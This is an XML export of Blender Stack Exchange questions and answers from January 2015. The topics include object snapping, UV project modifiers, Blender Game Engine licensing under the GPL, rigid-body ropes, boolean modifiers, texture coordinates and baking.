  <row Id="22889" PostTypeId="2" ParentId="22888" CreationDate="2015-01-08T10:22:52.990" Score="4" Body="&lt;p&gt;Normally I just rotate and translate it into position manually (perhaps with &lt;a href=&quot;https://blender.stackexchange.com/a/6803/599&quot;&gt;snapping&lt;/a&gt;), which is good enough in most cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also an addon bundled with blender called &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Object/Drop_to_ground&quot; rel=&quot;nofollow noreferrer&quot;&gt;Drop to ground&lt;/a&gt;&lt;/em&gt; which is useful for placing one or many objects on a ground object quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use it, enable it &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; User preferences &gt; addons &gt; Drop to Ground&lt;/em&gt;. Now you'll have a &lt;em&gt;Drop to Ground&lt;/em&gt; button in &lt;em&gt;3D view &gt; Tool Shelf (&lt;kbd&gt;T&lt;/kbd&gt;) &gt; Addons tab &gt; Drop to Ground&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-01-08T10:28:31.713" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22890" PostTypeId="2" ParentId="22872" CreationDate="2015-01-08T12:53:36.107" Score="2" Body="&lt;p&gt;You can try using the UV project modifier which will give you consistent islands sizes for the entire object and then when everything is finished, you can apply the modifier and it will hard-code the UV's so they can be exported.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a video posted by CGMasters that goes deeper into the setup. Here's a link to one of their free pages that has some UV mapping info.  &lt;a href=&quot;http://www.cgmasters.net/free-blender-3d-tutorials/page/2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.cgmasters.net/free-blender-3d-tutorials/page/2/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You add 6 empties and rotate them into the proper direction so they face the various axis'.  You then you list them in the modifier to achieve the proper projection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what it ends up looking like.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RkAsD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I big problem I foresee here is that once you apply the modifier, the UV's are a bit all over the place and overlapping.  Whether this will be a problem or not depends on what you are doing with all this after the modeling/texturing is finished. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xEmhH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are baking global illumination, ambient occlusion, etc, You can add a second set of UV's then press Ctrl-P to re-pack them to fit the 0-1 space evenly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can add a material with the first set of UV's and textures then bake them all to the second set of UV's and now everything should be in proportion with UV's that are packed nicely for other types of baked textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:  the .blend file is late, (there was an error) :) &lt;a href=&quot;http://www.pasteall.org/blend/33715&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/33715&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you select all the Empties and scale them; the texture scale will contract or expand as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An interesting note about this modifier is that you can add 10 projectors per modifer so adding two modifiers should be 20 points of reference.  Maybe the nulls could be used to define a large scale terrain pattern through the space.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-01-08T14:10:23.340" LastActivityDate="2015-01-08T14:10:23.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22891" PostTypeId="1" AcceptedAnswerId="22927" CreationDate="2015-01-08T13:59:20.480" Score="0" ViewCount="86" Body="&lt;p&gt;What is the best way to set up rendering in Blender so the images come out at the exact same position and size as another program? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a series of color renders from Maya and want to add a pass with just line art from Blender. How can I match up the two in Blender?  &lt;/p&gt;&#xA;" OwnerUserId="7524" LastActivityDate="2015-01-09T14:32:17.113" Title="How can renders be matched up in Blender?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22892" PostTypeId="1" AcceptedAnswerId="22900" CreationDate="2015-01-08T14:57:03.547" Score="4" ViewCount="2099" Body="&lt;p&gt;The blender FAQ says that if I combine my blend files with blender's game player, my license becomes GPL automatically? &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Combine? can you explain it more, what combine is talked about here?&lt;/li&gt;&#xA;&lt;li&gt;Is there a way to avoid that without making my own blender player nor using BPPlayer?&lt;/li&gt;&#xA;&lt;li&gt;I also researched something about making a .bat file to launch my game, is that a way to avoid it? How can I protect my .blend files from being read plainly in notepad like apps?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In simple words, I want to make a commercial game in blender and avoid providing the source code (my .blend files).&lt;/p&gt;&#xA;" OwnerUserId="3271" LastEditorUserId="2217" LastEditDate="2015-01-08T17:57:29.643" LastActivityDate="2015-06-12T20:37:47.203" Title="How to make game, made with the BGE, without having to provide source code of the game?" Tags="&lt;game-engine&gt;&lt;blend-files&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22893" PostTypeId="2" ParentId="22888" CreationDate="2015-01-08T14:57:39.590" Score="20" Body="&lt;p&gt;You could select a vertex, edge or face in &lt;em&gt;Edit Mode&lt;/em&gt; and snap the 3D cursor to the selection &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt; &lt;em&gt;Cursor to Selection&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1penv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In object mode set the object origin to 3D-cursor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SWLc3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that you can easily position the object to the 3D cursors position which can be adjusted in the proerties panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5avnQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Followed by &lt;em&gt;Snap&lt;/em&gt; &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt;  &lt;em&gt;Selection to Cursor&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-01-08T14:57:39.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22894" PostTypeId="2" ParentId="21513" CreationDate="2015-01-08T16:34:28.350" Score="4" Body="&lt;p&gt;The are two main ways to make a rope in the BGE. Soft bodies, and ridged body constraints. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The ridged body constraint method.&lt;/strong&gt;&lt;br&gt;&#xA;This is the method &lt;a href=&quot;https://www.youtube.com/user/Phymec/videos&quot; rel=&quot;nofollow noreferrer&quot;&gt;Phymec&lt;/a&gt; uses in videos like &lt;a href=&quot;https://www.youtube.com/watch?v=oyjE5L4-1lQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;. I have not gotten good results with soft bodies, so I will focus on the ridged body constraint method.&lt;br&gt;&#xA;This is very easy to set up, just add a sphere, model it in to a capsule and add a &lt;em&gt;Rigid Body Joint&lt;/em&gt; constraint.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6Tppa.png&quot; alt=&quot;Rigid Body Joint constraint settings&quot;&gt;&lt;br&gt;&#xA;Then string many of the capsules in to a rope, with the next always having the target of the one before it. Set the &lt;em&gt;Pivot&lt;/em&gt; to be in the middle of the two capsules (turn on &lt;em&gt;Display Pivot&lt;/em&gt; to see where the pivot point is).  Also important turn on &lt;em&gt;Linked Collision&lt;/em&gt;; if not on the rope will try to break apart where ever it is intersecting.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JzRDL.png&quot; alt=&quot;rigid body rope&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-01-08T16:34:28.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22895" PostTypeId="1" AcceptedAnswerId="22896" CreationDate="2015-01-08T17:30:16.230" Score="1" ViewCount="736" Body="&lt;p&gt;If I have two arbitrary points (not aligned with any particular axis), is there a way to make a square using them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I have two points along the X axis, I can select the edge between them, &lt;kbd&gt;E&lt;/kbd&gt; to extrude it, &lt;kbd&gt;Y&lt;/kbd&gt; to constrain, and type in the length to make a square.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/712Djm.png&quot; alt=&quot;two points&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aoLrUm.png&quot; alt=&quot;extruded square&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me do this if the points are not alined on the X or Y axis?&lt;/p&gt;&#xA;" OwnerUserId="10862" LastEditorUserId="2217" LastEditDate="2015-01-08T17:48:37.473" LastActivityDate="2015-01-08T17:48:37.473" Title="How do I make a square when the existing edge is not alined to any of the axes?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;transforms&gt;&lt;vertices&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22896" PostTypeId="2" ParentId="22895" CreationDate="2015-01-08T17:40:33.533" Score="2" Body="&lt;p&gt;With the edge selected open up the properties pane with &lt;kbd&gt;N&lt;/kbd&gt; Scroll down to the &lt;em&gt;Mesh display&lt;/em&gt; section and turn on &lt;em&gt;Length&lt;/em&gt; for the &lt;em&gt;Edge Info&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now press &lt;kbd&gt;E&lt;/kbd&gt; to extrude, then press &lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt; to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Axis_Locking&quot; rel=&quot;nofollow&quot;&gt;constrain&lt;/a&gt; the movement to the Y &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Transform_Orientations#Normal&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Normal&lt;/em&gt; axis&lt;/a&gt;. Pressing &lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; would lock movement to each their respective axes. Finally before you confirm the movement, type in the length of the first edge.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-01-08T17:40:33.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22900" PostTypeId="2" ParentId="22892" CreationDate="2015-01-08T18:59:05.560" Score="4" Body="&lt;p&gt;Stand Alone:&#xA;The Blender Game Engine is GPLed.  There is not a way to release a game made in the Blender Game Engine without including the Blender Game Engine.  Including the Blender Game Engine makes your game GPLed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stand Alone, load external .blend:&#xA;You can compile the BGE into a standalone player that loads the .blend of your game, and have the .blend be under a different license.  This would make it illegal for someone else to use your work, but it would trivial for people to break the law and poke at the blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Encrypt:&#xA;You could obfuscate the blend file using encryption libraries in python.  The executable which is GPLed would contain the key, and a smart enough dedicated enough person could get at your blend file. It would prevent the average Blender user from being able to steal your assets though.  See: &lt;a href=&quot;https://pypi.python.org/pypi/pycrypto&quot; rel=&quot;nofollow&quot;&gt;https://pypi.python.org/pypi/pycrypto&lt;/a&gt; for a crypto library. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Practicality (opinions included, sorry):&#xA;There is nothing on your computer that you can't &quot;steal&quot; assets of if you are dedicated enough.  There is no way for someone to both have something and not have it at the same time. Stop worrying so much about &quot;theft&quot;, and generate a game good enough that people people are willing to pay. If you get big enough where you see large scale copyright infringement, use the DMCA and other copy right laws if you feel the need; but I think you'll find that over enforcing copyright and preventing modding will hurt you in the market place more than a few free loaders abusing your game assets. &lt;/p&gt;&#xA;" OwnerUserId="2937" LastActivityDate="2015-01-08T18:59:05.560" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22905" PostTypeId="1" AcceptedAnswerId="22925" CreationDate="2015-01-08T20:48:16.180" Score="2" ViewCount="668" Body="&lt;p&gt;I am trying to (re)create an &lt;a href=&quot;https://github.com/sambler/osl-shaders/blob/master/stone/SARock/SARock.osl&quot; rel=&quot;nofollow&quot;&gt;OSL shader&lt;/a&gt; in Blender, but I receive an error &quot;error: could not find include file: node_texture.h&quot; when compiling. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've Googled it up, but can find nothing. Where can I find this file, or change the search path?&lt;/p&gt;&#xA;" OwnerUserId="6327" LastEditorUserId="12" LastEditDate="2015-01-09T20:37:38.087" LastActivityDate="2015-01-09T20:37:38.087" Title="OSL shader issue, could not find include file: node_texture.h&quot;" Tags="&lt;osl&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22906" PostTypeId="1" CreationDate="2015-01-08T21:23:50.620" Score="0" ViewCount="330" Body="&lt;p&gt;I'm trying to import the following .obj file into Blender&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v -1.3433 0.3333 -0.7191&#xA;v -1.4807 0.3333 -0.3596&#xA;v -1.2747 0.0000 -0.8989&#xA;v -1.5493 0.0000 -0.1798&#xA;v -1.3433 -0.3333 -0.7191&#xA;v -1.4807 -0.3333 -0.3596&#xA;f 1 2 4 3 5 6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And getting the error specified above. When I switch the order of verts, it seems to be working. Any idea what causes this error and how can I avoid it?&lt;/p&gt;&#xA;" OwnerUserId="9805" LastActivityDate="2015-01-09T00:15:50.417" Title="Found the same (BMVert) used multiple times" Tags="&lt;import&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22907" PostTypeId="1" AcceptedAnswerId="22924" CreationDate="2015-01-08T22:56:58.653" Score="2" ViewCount="1558" Body="&lt;p&gt;So i'm new to rigging... or attempting to rig in blender and I seemed to have somehow created a hierarchy for my armature including it, and its poses. I cannot delete the poses, I cannot remove the armature from its grouping. For some reason I cannot apply my group to my model via parenting like I've been doing and I'd rather not remake the rig. Any help? If further explanation is needed please just say so- again i'm new so i'm not sure i'm using proper terms or just speaking gibberish. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Image of question added&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 2: I mean, if it can work this way that's fine too. I can't seem to get the armature to be applied to the model with automatic weights this way though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AvcvB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10869" LastEditorUserId="3401" LastEditDate="2015-12-22T17:39:40.330" LastActivityDate="2015-12-22T17:39:40.330" Title="Pulling armature from hierarchy?" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22908" PostTypeId="1" CreationDate="2015-01-08T23:31:58.837" Score="1" ViewCount="579" Body="&lt;p&gt;I'm currently modeling a scene that features a highway overpass at night with light streaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have constructed the main piece of the overpass, and made it follow along a bezier curve with little to no problem with an array and curve modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem, is after I render, I get some strange shadows on the road that do not make much sense as to what the reason is.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YqhWA.jpg&quot; alt=&quot;As you can see in the center by the center line&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought at first it was the road lines causing a problem (they are on a separate mesh for ease of use), but even after rendering without them, the shadows still appear on the road.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried recalculating normals and other fixes, but it hasn't worked. It might be the mesh, but I tried to keep it as low poly as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ChFjH.jpg&quot; alt=&quot;Here is a top view of the road mesh if it helps&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not entirely sure what is causing the problem, so any help would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;EDIT&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the modifiers on the highway&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NlL0L.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10871" LastEditorUserId="12" LastEditDate="2015-01-09T20:35:21.587" LastActivityDate="2015-01-09T20:35:21.587" Title="Strange shadows on mesh following curve" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="22909" PostTypeId="2" ParentId="22906" CreationDate="2015-01-09T00:15:50.417" Score="1" Body="&lt;p&gt;seems to me that's a malformed polygon: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5vjK3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-01-09T00:15:50.417" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22910" PostTypeId="1" AcceptedAnswerId="22911" CreationDate="2015-01-09T00:19:22.330" Score="2" ViewCount="888" Body="&lt;p&gt;For instance, if I want to make a wireframe snowman out of three spheres, I would like to trim the spheres so that only the outermost surfaces are shown. That is, if sphere 1 and sphere 2 overlap, I'd like to delete the overlap region of both spheres. And is there a way to do this automatically with, say a python script, given the coordinates and radii of the spheres? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="10872" LastActivityDate="2015-01-09T02:08:20.030" Title="How can I make a 3D wireframe object hollow?" Tags="&lt;python&gt;&lt;wireframe&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22911" PostTypeId="2" ParentId="22910" CreationDate="2015-01-09T02:08:20.030" Score="5" Body="&lt;p&gt;It isn't necessary to use python, you can use &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Booleans&quot; rel=&quot;nofollow noreferrer&quot;&gt;Boolean modifiers&lt;/a&gt;&lt;/em&gt; to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a boolean modifier to one of the spheres for every other sphere which intersects with it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HXRyK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then apply all the modifiers either by click &lt;em&gt;apply&lt;/em&gt; for each one, or by pressing &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &lt;em&gt;&gt; Convert to mesh&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wokyh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-09T02:08:20.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22912" PostTypeId="1" AcceptedAnswerId="22913" CreationDate="2015-01-09T03:01:07.850" Score="1" ViewCount="1049" Body="&lt;p&gt;So I've never tried using a texture before on a model but I was making a building and I wanted to give the door frames a 'limestone/marble' look to them so I popped in a texture and plugged it in from Image Texture to Diffuse to Output via color then BSDF ports. In the preview it appears like it came out good but when rendering my texture is a rather flat color similar to the texture I used. Image to show what I mean, thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/emoyN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10869" LastActivityDate="2015-01-09T03:06:25.140" Title="Materials not applying how the appear in preview (after rendering)" Tags="&lt;rendering&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22913" PostTypeId="2" ParentId="22912" CreationDate="2015-01-09T03:06:25.140" Score="1" Body="&lt;p&gt;What you need is to input some sort of texture coordinate for Blender to map the texture to your mesh. All image textures require this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you needto do is to go to the Node editor and press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; and add either a &lt;em&gt;Texture Coordinate&lt;/em&gt; or a &lt;em&gt;UV Map&lt;/em&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XC5fT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put one of the values into the purple &lt;em&gt;Vector&lt;/em&gt; socket in your &lt;em&gt;Image Texture&lt;/em&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MBFLg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use any of these values, plug them into the same place as shown.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-09T03:06:25.140" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="22916" PostTypeId="1" AcceptedAnswerId="22917" CreationDate="2015-01-09T07:48:36.363" Score="10" ViewCount="16967" Body="&lt;p&gt;Sometimes when I'm in edit mode, there will be maybe 3 or 4 possible edge loops I can select. About 95% of the time it selects the edge loop which I don't want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to control which edge loop gets selected when I right click on the same vertex?&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="599" LastEditDate="2015-01-09T08:05:05.077" LastActivityDate="2015-01-10T02:48:33.493" Title="How to control which edge loop is selected?" Tags="&lt;selection-tools&gt;&lt;edges&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22917" PostTypeId="2" ParentId="22916" CreationDate="2015-01-09T07:54:09.700" Score="10" Body="&lt;p&gt;Which edge loop gets selected when pressing &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt; is controlled by the &lt;em&gt;edge&lt;/em&gt; clicked, not the vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click an edge which belongs in the edge loop you want to select in order to select that loop:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lficm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the edge clicked also becomes the &lt;em&gt;active&lt;/em&gt; edge (white).&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-01-09T08:25:38.377" LastActivityDate="2015-01-09T08:25:38.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22920" PostTypeId="2" ParentId="22844" CreationDate="2015-01-09T09:21:27.953" Score="3" Body="&lt;p&gt;Well, just download the latest Blender. &#xA;Hiding the masked texture painting lines was one of its features:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.73/Painting&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender 2.73 Release Notes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aBUmV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8282" LastEditorUserId="8282" LastEditDate="2015-01-20T08:41:14.193" LastActivityDate="2015-01-20T08:41:14.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22921" PostTypeId="1" AcceptedAnswerId="22926" CreationDate="2015-01-09T09:55:48.677" Score="3" ViewCount="3921" Body="&lt;p&gt;How to export list of prop values as .txt to &lt;em&gt;Local Disk (C:) &gt; Blender game &gt; New Folder&lt;/em&gt;?&lt;br&gt;&#xA;And how to import them back? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now im creating save and load game: global position, stats, items etc...&#xA;and im planning to save it as list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tho im not sure how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I have informantion set as var &lt;code&gt;myprop&lt;/code&gt; and &lt;code&gt;myprop2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw... how to get globalPosition?&lt;/p&gt;&#xA;" OwnerUserId="9664" LastEditorUserId="9664" LastEditDate="2015-01-09T20:32:43.943" LastActivityDate="2015-01-09T20:32:43.943" Title="How to export list of prop values as txt to a certain folder? And how to import them back?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ClosedDate="2015-01-09T17:46:19.490" ContentLicense="CC BY-SA 3.0" />
  <row Id="22922" PostTypeId="2" ParentId="22908" CreationDate="2015-01-09T10:27:53.993" Score="1" Body="&lt;p&gt;Delete the faces on the beginning and the end (left and right seen from image 2) of the parts. It needs to be open at the ends for the parts to merge. Play with the merge distance, make it larger until it snaps. I can see from image 2 that the parts did not merge causing shadows in between. You need an equal amount of  vertices on begin and end to make it snap. &lt;/p&gt;&#xA;" OwnerUserId="10879" LastEditorUserId="241" LastEditDate="2015-01-09T13:09:58.647" LastActivityDate="2015-01-09T13:09:58.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22923" PostTypeId="1" CreationDate="2015-01-09T12:14:29.063" Score="2" ViewCount="504" Body="&lt;p&gt;I have an object that is given colour with a lot of sun lamps, then I did some compositing to my liking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vodaC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to add another object below it to be render with the banana but the sun lamps will affect the colour of the second object which is why I wanted to bake it so I can remove the sun lamps and still have the same colour but on a uv and have one plain lighting that will show both objects and its textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I bake it I don't get the same effect I would in render. When its baked it looks much darker and when rendered the colour is gone could someone explain why as well as is there a way to bake everything on a object including there compositing as well. Thank you in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the baked texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TIKWs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a quick image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hb1p1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10880" LastEditorUserId="241" LastEditDate="2015-01-09T13:08:38.773" LastActivityDate="2015-01-09T13:08:38.773" Title="Bake won't look same as render" Tags="&lt;rendering&gt;&lt;texture-baking&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
